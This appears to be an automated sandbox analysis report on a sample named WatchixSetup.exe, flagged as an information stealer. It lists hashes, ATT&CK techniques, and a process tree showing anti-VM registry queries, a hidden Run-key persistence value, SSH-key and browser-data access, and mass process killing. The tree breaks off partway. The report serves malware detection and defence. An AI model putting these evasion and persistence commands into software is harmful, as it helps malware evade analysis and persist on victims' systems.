2cc36aaabdcb72a0678a5017a45edd8676733e1ac99af9f16d023f06307d6c77

Analysis

max time kernel
149s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
09/08/2026, 18:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
WatchixSetup.exe
Size 110.1MB
Sample260809-w7twvawzbx
SHA256 2cc36aaabdcb72a0678a5017a45edd8676733e1ac99af9f16d023f06307d6c77
MD5 5f35ea096aa4a778d72e7cff5b11327c
SHA1 ffcc5149d5a7bcd6257ded3b2f25b92f0ffac674
SHA512 4332e69fecbe92641603e0f0c3cfd8919a9de3832151b22b17b1866c3aafcdb95bdfead3308c3f7c8c5a8771f15f2373c8c3baedcfd12545b4243692c28312f3
SSDEEP 3145728:Fl4kE2nFV1iIVDJbfd7TRA4kQCZgWlEEG7sD:s32nFV1DJLh64kBZgWlEE8M
TLSH
T1824833BD8003C9E7F4A6EF7F6BD798BB64F5F6236869C33F10705495184CA89068852E
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution persistence spyware stealer

Malware Config

Signatures

Enumerates VirtualBox registry keys 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	reg.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	reg.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 4 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	reg.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	reg.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	reg.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	reg.exe

Looks for VMWare Tools registry key 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	reg.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	reg.exe

Looks for VMWare services registry key. 1 TTPs 2 IoCs

defense_evasion

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vmmouse	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vmmouse	reg.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	WatchixSetup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	WatchixSetup.exe

Executes dropped EXE 6 IoCs

pid	Process
848	WatchixSetup.exe
4956	WatchixSetup.exe
5884	WatchixSetup.exe
1752	WatchixSetup.exe
3796	WatchixSetup.exe
5384	WatchixSetup.exe

Loads dropped DLL 21 IoCs

pid	Process
2804	WatchixSetup.exe
2804	WatchixSetup.exe
2804	WatchixSetup.exe
2804	WatchixSetup.exe
2804	WatchixSetup.exe
2804	WatchixSetup.exe
2804	WatchixSetup.exe
2804	WatchixSetup.exe
2804	WatchixSetup.exe
2804	WatchixSetup.exe
2804	WatchixSetup.exe
848	WatchixSetup.exe
848	WatchixSetup.exe
4956	WatchixSetup.exe
4956	WatchixSetup.exe
4956	WatchixSetup.exe
5884	WatchixSetup.exe
5884	WatchixSetup.exe
1752	WatchixSetup.exe
1752	WatchixSetup.exe
1752	WatchixSetup.exe

Reads ssh keys stored on the system 2 TTPs
Tries to access SSH used by SSH programs.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WatchixSetup = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\WatchixSetup\\WatchixSetup.exe\" --hidden"	WatchixSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WatchixSetup = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\WatchixSetup\\WatchixSetup.exe\" --hidden"	WatchixSetup.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
52	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 4 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3972	tasklist.exe
688	tasklist.exe
3524	tasklist.exe
5736	tasklist.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
876	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1912	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1804	cmd.exe
3152	cmd.exe
5352	cmd.exe
4860	cmd.exe
5580	cmd.exe
4388	cmd.exe
2352	cmd.exe
2672	cmd.exe
1648	cmd.exe
2824	cmd.exe
804	cmd.exe
5436	cmd.exe
1524	cmd.exe
3188	cmd.exe
4536	cmd.exe
4156	cmd.exe
4740	cmd.exe
4756	cmd.exe
2328	cmd.exe
2884	cmd.exe
2404	cmd.exe
5660	cmd.exe
1572	cmd.exe
5300	cmd.exe
4592	cmd.exe
5420	cmd.exe
3776	cmd.exe
4052	cmd.exe
3604	cmd.exe
5140	cmd.exe
212	cmd.exe
3292	cmd.exe
5304	cmd.exe
2868	cmd.exe
5396	cmd.exe
3036	cmd.exe
4604	cmd.exe
2068	cmd.exe
3788	cmd.exe
5984	cmd.exe
400	cmd.exe
5220	cmd.exe
4140	cmd.exe
5276	cmd.exe
4484	cmd.exe
4048	cmd.exe
4968	cmd.exe
1816	cmd.exe
5380	cmd.exe
3068	cmd.exe
4784	cmd.exe
2660	cmd.exe
4772	cmd.exe
2668	cmd.exe
5928	cmd.exe
1576	cmd.exe
2512	cmd.exe
8	cmd.exe
2708	cmd.exe
4912	cmd.exe
5372	cmd.exe
5376	cmd.exe
4644	cmd.exe
4500	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WatchixSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Checks processor information in registry 2 TTPs 48 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	WatchixSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	WatchixSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	WatchixSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	WatchixSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	WatchixSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	WatchixSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	WatchixSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	WatchixSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	WatchixSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	WatchixSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	WatchixSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	WatchixSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	WatchixSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	WatchixSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	WatchixSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WatchixSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	WatchixSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	WatchixSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	WatchixSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WatchixSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	WatchixSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	WatchixSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	WatchixSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	WatchixSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	WatchixSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	WatchixSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	WatchixSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	WatchixSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WatchixSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	WatchixSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	WatchixSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	WatchixSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	WatchixSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	WatchixSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	WatchixSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	WatchixSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	WatchixSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	WatchixSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WatchixSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	WatchixSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	WatchixSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	WatchixSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	WatchixSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	WatchixSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	WatchixSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	WatchixSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	WatchixSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	WatchixSetup.exe

Detects videocard installed 1 TTPs 2 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
6000	WMIC.exe
5248	WMIC.exe

Kills process with taskkill 58 IoCs

defense_evasion

pid	Process
5784	taskkill.exe
5452	taskkill.exe
2272	taskkill.exe
1020	taskkill.exe
1464	taskkill.exe
2220	taskkill.exe
5764	taskkill.exe
3708	taskkill.exe
3940	taskkill.exe
912	taskkill.exe
4712	taskkill.exe
996	taskkill.exe
1996	taskkill.exe
4968	taskkill.exe
3028	taskkill.exe
5152	taskkill.exe
5708	taskkill.exe
2568	taskkill.exe
1972	taskkill.exe
2508	taskkill.exe
1412	taskkill.exe
1172	taskkill.exe
1348	taskkill.exe
2316	taskkill.exe
2020	taskkill.exe
3420	taskkill.exe
3876	taskkill.exe
5784	taskkill.exe
3112	taskkill.exe
4196	taskkill.exe
5624	taskkill.exe
2780	taskkill.exe
5260	taskkill.exe
2420	taskkill.exe
1220	taskkill.exe
3972	taskkill.exe
4252	taskkill.exe
5260	taskkill.exe
5460	taskkill.exe
5844	taskkill.exe
4856	taskkill.exe
3368	taskkill.exe
4436	taskkill.exe
1392	taskkill.exe
4572	taskkill.exe
5428	taskkill.exe
4596	taskkill.exe
5844	taskkill.exe
3812	taskkill.exe
5356	taskkill.exe
5140	taskkill.exe
2672	taskkill.exe
4912	taskkill.exe
6140	taskkill.exe
4992	taskkill.exe
5252	taskkill.exe
2980	taskkill.exe
5292	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
876	powershell.exe
876	powershell.exe
1912	powershell.exe
1912	powershell.exe
2804	WatchixSetup.exe
2804	WatchixSetup.exe
5516	powershell.exe
5516	powershell.exe
5516	powershell.exe
6136	powershell.exe
6136	powershell.exe
6136	powershell.exe
3900	powershell.exe
3900	powershell.exe
3900	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
1464	powershell.exe
1464	powershell.exe
1464	powershell.exe
1208	powershell.exe
1208	powershell.exe
1208	powershell.exe
5380	powershell.exe
5380	powershell.exe
5168	powershell.exe
5168	powershell.exe
5168	powershell.exe
5380	powershell.exe
5468	powershell.exe
5468	powershell.exe
1116	powershell.exe
1116	powershell.exe
3892	powershell.exe
3892	powershell.exe
5216	powershell.exe
5216	powershell.exe
5468	powershell.exe
1116	powershell.exe
3892	powershell.exe
5216	powershell.exe
848	WatchixSetup.exe
848	WatchixSetup.exe
848	WatchixSetup.exe
848	WatchixSetup.exe
5884	WatchixSetup.exe
5884	WatchixSetup.exe
5884	WatchixSetup.exe
5884	WatchixSetup.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
3780	powershell.exe
3780	powershell.exe
3780	powershell.exe
2420	powershell.exe
2420	powershell.exe
2420	powershell.exe
4780	powershell.exe
4780	powershell.exe
4780	powershell.exe
848	WatchixSetup.exe
848	WatchixSetup.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	876	powershell.exe
Token: SeDebugPrivilege	1912	powershell.exe
Token: SeSecurityPrivilege	2804	WatchixSetup.exe
Token: SeShutdownPrivilege	848	WatchixSetup.exe
Token: SeCreatePagefilePrivilege	848	WatchixSetup.exe
Token: SeShutdownPrivilege	848	WatchixSetup.exe
Token: SeCreatePagefilePrivilege	848	WatchixSetup.exe
Token: SeIncreaseQuotaPrivilege	1464	WMIC.exe
Token: SeSecurityPrivilege	1464	WMIC.exe
Token: SeTakeOwnershipPrivilege	1464	WMIC.exe
Token: SeLoadDriverPrivilege	1464	WMIC.exe
Token: SeSystemProfilePrivilege	1464	WMIC.exe
Token: SeSystemtimePrivilege	1464	WMIC.exe
Token: SeProfSingleProcessPrivilege	1464	WMIC.exe
Token: SeIncBasePriorityPrivilege	1464	WMIC.exe
Token: SeCreatePagefilePrivilege	1464	WMIC.exe
Token: SeBackupPrivilege	1464	WMIC.exe
Token: SeRestorePrivilege	1464	WMIC.exe
Token: SeShutdownPrivilege	1464	WMIC.exe
Token: SeDebugPrivilege	1464	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1464	WMIC.exe
Token: SeRemoteShutdownPrivilege	1464	WMIC.exe
Token: SeUndockPrivilege	1464	WMIC.exe
Token: SeManageVolumePrivilege	1464	WMIC.exe
Token: 33	1464	WMIC.exe
Token: 34	1464	WMIC.exe
Token: 35	1464	WMIC.exe
Token: 36	1464	WMIC.exe
Token: SeShutdownPrivilege	848	WatchixSetup.exe
Token: SeCreatePagefilePrivilege	848	WatchixSetup.exe
Token: SeIncreaseQuotaPrivilege	1464	WMIC.exe
Token: SeSecurityPrivilege	1464	WMIC.exe
Token: SeTakeOwnershipPrivilege	1464	WMIC.exe
Token: SeLoadDriverPrivilege	1464	WMIC.exe
Token: SeSystemProfilePrivilege	1464	WMIC.exe
Token: SeSystemtimePrivilege	1464	WMIC.exe
Token: SeProfSingleProcessPrivilege	1464	WMIC.exe
Token: SeIncBasePriorityPrivilege	1464	WMIC.exe
Token: SeCreatePagefilePrivilege	1464	WMIC.exe
Token: SeBackupPrivilege	1464	WMIC.exe
Token: SeRestorePrivilege	1464	WMIC.exe
Token: SeShutdownPrivilege	1464	WMIC.exe
Token: SeDebugPrivilege	1464	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1464	WMIC.exe
Token: SeRemoteShutdownPrivilege	1464	WMIC.exe
Token: SeUndockPrivilege	1464	WMIC.exe
Token: SeManageVolumePrivilege	1464	WMIC.exe
Token: 33	1464	WMIC.exe
Token: 34	1464	WMIC.exe
Token: 35	1464	WMIC.exe
Token: 36	1464	WMIC.exe
Token: SeShutdownPrivilege	848	WatchixSetup.exe
Token: SeCreatePagefilePrivilege	848	WatchixSetup.exe
Token: SeIncreaseQuotaPrivilege	4672	WMIC.exe
Token: SeSecurityPrivilege	4672	WMIC.exe
Token: SeTakeOwnershipPrivilege	4672	WMIC.exe
Token: SeLoadDriverPrivilege	4672	WMIC.exe
Token: SeSystemProfilePrivilege	4672	WMIC.exe
Token: SeSystemtimePrivilege	4672	WMIC.exe
Token: SeProfSingleProcessPrivilege	4672	WMIC.exe
Token: SeIncBasePriorityPrivilege	4672	WMIC.exe
Token: SeCreatePagefilePrivilege	4672	WMIC.exe
Token: SeBackupPrivilege	4672	WMIC.exe
Token: SeRestorePrivilege	4672	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2804 wrote to memory of 876	2804	WatchixSetup.exe	91
PID 2804 wrote to memory of 1912	2804	WatchixSetup.exe	93
PID 848 wrote to memory of 4956	848	WatchixSetup.exe	105
PID 848 wrote to memory of 3788	848	WatchixSetup.exe	106
PID 848 wrote to memory of 2668	848	WatchixSetup.exe	107
PID 3788 wrote to memory of 1556	3788	cmd.exe	110
PID 1556 wrote to memory of 5028	1556	net.exe	112
PID 2668 wrote to memory of 2244	2668	cmd.exe	113
PID 848 wrote to memory of 1648	848	WatchixSetup.exe	115
PID 1648 wrote to memory of 4132	1648	cmd.exe	184
PID 848 wrote to memory of 2748	848	WatchixSetup.exe	119
PID 2748 wrote to memory of 5804	2748	cmd.exe	121
PID 848 wrote to memory of 5984	848	WatchixSetup.exe	123
PID 5984 wrote to memory of 5764	5984	cmd.exe	125
PID 848 wrote to memory of 2884	848	WatchixSetup.exe	127
PID 2884 wrote to memory of 4768	2884	cmd.exe	129
PID 848 wrote to memory of 2824	848	WatchixSetup.exe	130
PID 2824 wrote to memory of 4920	2824	cmd.exe	132
PID 848 wrote to memory of 3292	848	WatchixSetup.exe	133
PID 3292 wrote to memory of 1464	3292	cmd.exe	195
PID 848 wrote to memory of 804	848	WatchixSetup.exe	136
PID 5884 wrote to memory of 1752	5884	WatchixSetup.exe	138
PID 5884 wrote to memory of 2404	5884	WatchixSetup.exe	139
PID 5884 wrote to memory of 1452	5884	WatchixSetup.exe	140
PID 804 wrote to memory of 4672	804	cmd.exe	143
PID 1452 wrote to memory of 4436	1452	cmd.exe	144
PID 5884 wrote to memory of 4156	5884	WatchixSetup.exe	145
PID 4156 wrote to memory of 5140	4156	cmd.exe	147
PID 5884 wrote to memory of 5352	5884	WatchixSetup.exe	148
PID 5352 wrote to memory of 5300	5352	cmd.exe	150
PID 848 wrote to memory of 5280	848	WatchixSetup.exe	151
PID 5280 wrote to memory of 5248	5280	cmd.exe	153
PID 5884 wrote to memory of 5232	5884	WatchixSetup.exe	154
PID 2404 wrote to memory of 5192	2404	cmd.exe	156
PID 5192 wrote to memory of 1172	5192	net.exe	157
PID 5232 wrote to memory of 5380	5232	cmd.exe	204
PID 5884 wrote to memory of 5436	5884	WatchixSetup.exe	159
PID 848 wrote to memory of 5420	848	WatchixSetup.exe	161
PID 5420 wrote to memory of 5516	5420	cmd.exe	163
PID 5436 wrote to memory of 5836	5436	cmd.exe	164
PID 5884 wrote to memory of 5772	5884	WatchixSetup.exe	165
PID 5772 wrote to memory of 964	5772	cmd.exe	167
PID 5884 wrote to memory of 5660	5884	WatchixSetup.exe	168
PID 5660 wrote to memory of 5600	5660	cmd.exe	170
PID 5884 wrote to memory of 5852	5884	WatchixSetup.exe	171
PID 5852 wrote to memory of 3940	5852	cmd.exe	173
PID 5884 wrote to memory of 5928	5884	WatchixSetup.exe	174
PID 5928 wrote to memory of 6000	5928	cmd.exe	176
PID 5884 wrote to memory of 6068	5884	WatchixSetup.exe	178
PID 6068 wrote to memory of 6136	6068	cmd.exe	221
PID 848 wrote to memory of 2512	848	WatchixSetup.exe	181
PID 2512 wrote to memory of 3900	2512	cmd.exe	183
PID 5884 wrote to memory of 4132	5884	WatchixSetup.exe	184
PID 4132 wrote to memory of 5724	4132	cmd.exe	231
PID 848 wrote to memory of 4860	848	WatchixSetup.exe	187
PID 4860 wrote to memory of 3972	4860	cmd.exe	295
PID 5884 wrote to memory of 1120	5884	WatchixSetup.exe	190
PID 1120 wrote to memory of 688	1120	cmd.exe	260
PID 848 wrote to memory of 3012	848	WatchixSetup.exe	193
PID 3012 wrote to memory of 1464	3012	cmd.exe	363
PID 5884 wrote to memory of 4740	5884	WatchixSetup.exe	196
PID 4740 wrote to memory of 1208	4740	cmd.exe	198
PID 848 wrote to memory of 5160	848	WatchixSetup.exe	199
PID 5884 wrote to memory of 400	5884	WatchixSetup.exe	201

C:\Users\Admin\AppData\Local\Temp\WatchixSetup.exe
"C:\Users\Admin\AppData\Local\Temp\WatchixSetup.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2804
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -C "if (Get-Command Get-CimInstance -ErrorAction SilentlyContinue) { exit 0 } else { exit 1 }"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:876
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -C "if ((Get-ExecutionPolicy -Scope Process) -eq 'Restricted') { exit 1 } else { exit 0 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1912

C:\Users\Admin\AppData\Local\Programs\WatchixSetup\WatchixSetup.exe
"C:\Users\Admin\AppData\Local\Programs\WatchixSetup\WatchixSetup.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:848
- C:\Users\Admin\AppData\Local\Programs\WatchixSetup\WatchixSetup.exe
  "C:\Users\Admin\AppData\Local\Programs\WatchixSetup\WatchixSetup.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\WatchixSetup" --gpu-preferences=SAAAAAAAAADgAQAEAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=disabled --field-trial-handle=1720,i,1666548806439372728,6425147909685982568,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1724,i,2469316327364365768,8548750761789830629,4 --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1716 /prefetch:2
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4956
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3788
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1556
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:5028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\HARDWARE\ACPI\DSDT\VBOX__""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2668
- - C:\Windows\system32\reg.exe
    reg query "HKLM\HARDWARE\ACPI\DSDT\VBOX__"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    PID:2244
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1648
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    PID:4132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2748
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest"
    3⤵
    - Enumerates VirtualBox registry keys
    PID:5804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5984
- - C:\Windows\system32\reg.exe
